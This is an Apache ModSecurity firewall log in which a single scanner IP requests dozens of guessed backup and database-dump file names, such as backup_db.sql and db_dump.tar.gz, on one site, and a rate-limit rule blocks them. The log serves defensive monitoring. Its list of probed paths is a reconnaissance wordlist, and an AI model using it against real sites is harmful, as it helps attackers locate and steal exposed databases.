[Fri May 15 10:04:18.346825 2026] [:error] [pid 51234:tid 51256] [client 34.97.8.90:42302] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.rar"] [unique_id "agZ_It72N9CbeiqcqgPWdwAAAVQ"]
[Fri May 15 10:04:22.502091 2026] [:error] [pid 1295:tid 1310] [client 34.97.8.90:42346] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.sql"] [unique_id "agZ_JtmMhqLvs0GYixkcpQAAAMw"]
[Fri May 15 10:04:27.207761 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:37236] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.7z"] [unique_id "agZ_K972N9CbeiqcqgPWhQAAAUA"]
[Fri May 15 10:04:27.911723 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:37240] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.rar"] [unique_id "agZ_Kwe36qIGegR4kcmCEQAAAEo"]
[Fri May 15 10:04:28.638694 2026] [:error] [pid 50531:tid 50547] [client 34.97.8.90:37254] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.gz"] [unique_id "agZ_LB3WbFwE6voqGzrktgAAAQ4"]
[Fri May 15 10:04:29.279079 2026] [:error] [pid 1190:tid 1265] [client 34.97.8.90:37256] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.bz2"] [unique_id "agZ_LdqiXrD7hne4gFbKEgAAAI0"]
[Fri May 15 10:04:29.946173 2026] [:error] [pid 1295:tid 1303] [client 34.97.8.90:37260] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.zst"] [unique_id "agZ_LdmMhqLvs0GYixkcpwAAAMU"]
[Fri May 15 10:04:30.628381 2026] [:error] [pid 1188:tid 1198] [client 34.97.8.90:37270] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.sql.gz"] [unique_id "agZ_LtY68iW8yuNkNzPxTAAAAAE"]
[Fri May 15 10:04:31.314372 2026] [:error] [pid 1188:tid 1211] [client 34.97.8.90:37274] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.sql.bz2"] [unique_id "agZ_L9Y68iW8yuNkNzPxTQAAAA4"]
[Fri May 15 10:04:32.028872 2026] [:error] [pid 1188:tid 1197] [client 34.97.8.90:37290] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/stage.sql"] [unique_id "agZ_MNY68iW8yuNkNzPxTgAAAAA"]
[Fri May 15 10:04:32.701361 2026] [:error] [pid 1190:tid 1254] [client 34.97.8.90:37294] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.zip"] [unique_id "agZ_MNqiXrD7hne4gFbKEwAAAII"]
[Fri May 15 10:04:33.384948 2026] [:error] [pid 1190:tid 1273] [client 34.97.8.90:37308] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.tar.gz"] [unique_id "agZ_MdqiXrD7hne4gFbKFAAAAJU"]
[Fri May 15 10:04:34.049885 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:37324] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.tgz"] [unique_id "agZ_Mge36qIGegR4kcmCFAAAAFE"]
[Fri May 15 10:04:34.741768 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:37338] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.tar"] [unique_id "agZ_Mt72N9CbeiqcqgPWiAAAAVU"]
[Fri May 15 10:04:35.399469 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:52402] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.tar.bz2"] [unique_id "agZ_M972N9CbeiqcqgPWigAAAUo"]
[Fri May 15 10:04:36.112227 2026] [:error] [pid 1190:tid 1274] [client 34.97.8.90:52404] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.tar.xz"] [unique_id "agZ_NNqiXrD7hne4gFbKFQAAAJY"]
[Fri May 15 10:04:36.810526 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:52410] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.7z"] [unique_id "agZ_NN72N9CbeiqcqgPWjAAAAU8"]
[Fri May 15 10:04:37.545772 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:52418] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.rar"] [unique_id "agZ_Nd72N9CbeiqcqgPWjQAAAVI"]
[Fri May 15 10:04:38.256485 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:52426] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.gz"] [unique_id "agZ_NtmMhqLvs0GYixkcqAAAAMc"]
[Fri May 15 10:04:38.959880 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:52434] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.bz2"] [unique_id "agZ_Nge36qIGegR4kcmCFgAAAFc"]
[Fri May 15 10:04:39.738520 2026] [:error] [pid 1295:tid 1317] [client 34.97.8.90:52438] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.zst"] [unique_id "agZ_N9mMhqLvs0GYixkcqQAAANM"]
[Fri May 15 10:04:40.468913 2026] [:error] [pid 1189:tid 1245] [client 34.97.8.90:52444] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.sql.gz"] [unique_id "agZ_OAe36qIGegR4kcmCFwAAAFQ"]
[Fri May 15 10:04:41.198886 2026] [:error] [pid 1295:tid 1299] [client 34.97.8.90:52460] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.sql.bz2"] [unique_id "agZ_OdmMhqLvs0GYixkcqgAAAME"]
[Fri May 15 10:04:41.956968 2026] [:error] [pid 1190:tid 1262] [client 34.97.8.90:52466] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup_db.sql"] [unique_id "agZ_OdqiXrD7hne4gFbKFwAAAIo"]
[Fri May 15 10:04:42.628738 2026] [:error] [pid 1189:tid 1238] [client 34.97.8.90:52468] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.zip"] [unique_id "agZ_Oge36qIGegR4kcmCGQAAAE0"]
[Fri May 15 10:04:43.283115 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:52470] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.tar.gz"] [unique_id "agZ_O972N9CbeiqcqgPWkAAAAUA"]
[Fri May 15 10:04:44.003212 2026] [:error] [pid 51234:tid 51245] [client 34.97.8.90:52474] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.tgz"] [unique_id "agZ_PN72N9CbeiqcqgPWkQAAAUk"]
[Fri May 15 10:04:44.647968 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:52490] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.tar"] [unique_id "agZ_PAe36qIGegR4kcmCGwAAAEc"]
[Fri May 15 10:04:45.331681 2026] [:error] [pid 1189:tid 1234] [client 34.97.8.90:38088] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.tar.bz2"] [unique_id "agZ_PQe36qIGegR4kcmCHAAAAEk"]
[Fri May 15 10:04:46.059903 2026] [:error] [pid 51234:tid 51238] [client 34.97.8.90:38096] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.tar.xz"] [unique_id "agZ_Pt72N9CbeiqcqgPWlQAAAUI"]
[Fri May 15 10:04:46.745851 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:38106] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.7z"] [unique_id "agZ_Pt72N9CbeiqcqgPWlgAAAUs"]
[Fri May 15 10:04:47.421278 2026] [:error] [pid 1295:tid 1321] [client 34.97.8.90:38108] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.rar"] [unique_id "agZ_P9mMhqLvs0GYixkcrAAAANc"]
[Fri May 15 10:04:48.108562 2026] [:error] [pid 1295:tid 1315] [client 34.97.8.90:38118] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.gz"] [unique_id "agZ_QNmMhqLvs0GYixkcrQAAANE"]
[Fri May 15 10:04:48.731104 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:38130] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.bz2"] [unique_id "agZ_QNmMhqLvs0GYixkcrgAAAM0"]
[Fri May 15 10:04:49.432316 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:38132] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.zst"] [unique_id "agZ_Qd72N9CbeiqcqgPWlwAAAVU"]
[Fri May 15 10:04:50.122954 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:38134] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.sql.gz"] [unique_id "agZ_Qge36qIGegR4kcmCHwAAAEo"]
[Fri May 15 10:04:50.826106 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:38144] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.sql.bz2"] [unique_id "agZ_Qh3WbFwE6voqGzrkuwAAARM"]
[Fri May 15 10:04:51.537669 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:38154] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db_dump.sql"] [unique_id "agZ_Q9mMhqLvs0GYixkcrwAAANQ"]
[Fri May 15 10:04:52.229122 2026] [:error] [pid 1190:tid 1255] [client 34.97.8.90:38158] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.zip"] [unique_id "agZ_RNqiXrD7hne4gFbKGAAAAIM"]
[Fri May 15 10:04:52.920155 2026] [:error] [pid 1188:tid 1218] [client 34.97.8.90:38170] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.tar.gz"] [unique_id "agZ_RNY68iW8yuNkNzPxUgAAABU"]
[Fri May 15 10:04:53.628734 2026] [:error] [pid 50531:tid 50548] [client 34.97.8.90:38184] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.tgz"] [unique_id "agZ_RR3WbFwE6voqGzrkvAAAAQ8"]
[Fri May 15 10:04:54.331372 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:38186] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.tar"] [unique_id "agZ_Rt72N9CbeiqcqgPWmQAAAVY"]
[Fri May 15 10:04:54.991164 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:55016] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.tar.bz2"] [unique_id "agZ_Rt72N9CbeiqcqgPWmgAAAU8"]
[Fri May 15 10:04:55.694910 2026] [:error] [pid 51234:tid 51250] [client 34.97.8.90:55030] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.tar.xz"] [unique_id "agZ_R972N9CbeiqcqgPWmwAAAU4"]
[Fri May 15 10:04:56.359703 2026] [:error] [pid 1295:tid 1309] [client 34.97.8.90:55044] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.7z"] [unique_id "agZ_SNmMhqLvs0GYixkcswAAAMs"]
[Fri May 15 10:04:57.054295 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:55048] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.rar"] [unique_id "agZ_SdqiXrD7hne4gFbKGQAAAIY"]
[Fri May 15 10:04:57.758148 2026] [:error] [pid 1189:tid 1243] [client 34.97.8.90:55062] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.gz"] [unique_id "agZ_SQe36qIGegR4kcmCIAAAAFI"]
[Fri May 15 10:04:58.394547 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:55070] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.bz2"] [unique_id "agZ_StY68iW8yuNkNzPxUwAAABM"]
[Fri May 15 10:04:59.099682 2026] [:error] [pid 50531:tid 50551] [client 34.97.8.90:55086] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.zst"] [unique_id "agZ_Sx3WbFwE6voqGzrkvgAAARI"]
[Fri May 15 10:04:59.754013 2026] [:error] [pid 1190:tid 1263] [client 34.97.8.90:55090] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.sql.gz"] [unique_id "agZ_S9qiXrD7hne4gFbKGgAAAIs"]
[Fri May 15 10:05:00.424915 2026] [:error] [pid 1188:tid 1212] [client 34.97.8.90:55098] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.sql.bz2"] [unique_id "agZ_TNY68iW8yuNkNzPxVAAAAA8"]
[Fri May 15 10:05:01.169099 2026] [:error] [pid 50531:tid 50549] [client 34.97.8.90:55108] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dump.sql"] [unique_id "agZ_TR3WbFwE6voqGzrkvwAAARA"]
[Fri May 15 10:05:01.863857 2026] [:error] [pid 50531:tid 50546] [client 34.97.8.90:55122] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.zip"] [unique_id "agZ_TR3WbFwE6voqGzrkwAAAAQ0"]
[Fri May 15 10:05:02.594301 2026] [:error] [pid 50531:tid 50538] [client 34.97.8.90:55134] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.tar.gz"] [unique_id "agZ_Th3WbFwE6voqGzrkwgAAAQU"]
[Fri May 15 10:05:03.315889 2026] [:error] [pid 50531:tid 50533] [client 34.97.8.90:55142] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.tgz"] [unique_id "agZ_Tx3WbFwE6voqGzrkxAAAAQA"]
[Fri May 15 10:05:04.023981 2026] [:error] [pid 50531:tid 50539] [client 34.97.8.90:55158] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.tar"] [unique_id "agZ_UB3WbFwE6voqGzrkxQAAAQY"]
